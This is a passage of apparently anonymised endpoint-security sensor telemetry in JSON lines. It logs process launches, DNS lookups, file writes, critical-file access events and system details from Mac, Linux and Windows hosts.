26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"} -{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"} -{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"} -{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"} -{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"} -{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"} -{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"} -{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"} -{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"} -{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"} -{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"} -{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"} -{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"} -{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"} -{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"} -{"CommandLine":"/usr/bin/plutil -convert xml1 -o - 